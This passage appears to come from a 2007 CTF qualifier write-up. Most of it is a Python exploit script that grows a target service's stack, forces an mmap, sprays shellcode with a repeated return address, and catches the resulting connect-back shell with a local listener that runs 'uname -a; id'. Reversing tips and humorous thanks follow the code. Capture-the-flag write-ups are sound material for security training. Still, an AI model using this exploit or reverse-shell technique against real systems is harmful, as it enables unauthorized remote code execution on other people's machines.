mmap_base = 0xbfbdf000

def grow_stack():
    out = pack("<L", 3)
    out += "1234"    #initial read() from mainfunc(int fd) takes 8
    out += pack("<L", 1) #call mainfunc() once in the opt3 loop
    return out

def make_payload():
    payload =  pack("<L",mmap_base+0x600)*0x100 #return address
    
    payload += "\x9f"* (0x1000- len(payload) - len(sc) - 10 ) #shellcode
    payload += sc
    payload += "\x9f" * (0x1000 - len(payload))
    if len(payload) != 0x1000:
        print "you cant add!"
        1 / 0
    return payload

def exploit():
    s = socket()
    s.connect ((HOST,PORT))
    AMT = 1000 #overkill, reduce this value if the exploit fails (might be Out Of Memory)

    for i in range(AMT):
        s.send(grow_stack())
        
    print "[+] grew stack (-:"
    #overwrite w/ mmap call
    s.send( pack("<L",7) + pack("<L",0x1000) )
    #send shellcode
    s.send( make_payload() )
    s.recv(1024)

    #let the main()'s collapse
    for i in range(AMT):
        s.send( pack("<L", 0x1337d00d) ) #send a bad option. this causes the mainfunc() function to return
    print "[+] collapsed stack :-)"
    
if(os.fork() == 0):
    exploit()
    import sys
    sys.exit(0)

    
s = socket()
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind(("",SHELLPORT))
s.listen(1)


conn, addr = s.accept()
print "Connection from",addr
conn.send("uname -a; id\n")

import telnetlib
r = telnetlib.Telnet()
r.sock = conn
r.interact()
Tips for reversing: you're working on a time budget so experience is a big +1. And secondly, I like to focus on higher level aspects of the code, trying to work out first how bodies interact before adding up numbers to make sure the code isnt eating itself. Also makes it easier to get to the bizarre and interesting parts first, thats where the good stuff often is.
Many thanks to beist. He once saved me from a really tall building, filled with bears, on top of quicksand, covered in an avalanche, 2000 leagues underneath the sea, under time pressure, while simultaneously finishing luigi's raceway in 13.37 secondz, and popping lots of shells. and cherries (pac-man)
500: I can has threads?
RacerX of [0x28]Thieves sent us a fantastic write-up! For your pwning pleasure, viewable as PDF or PPT.

ctf 2007 quals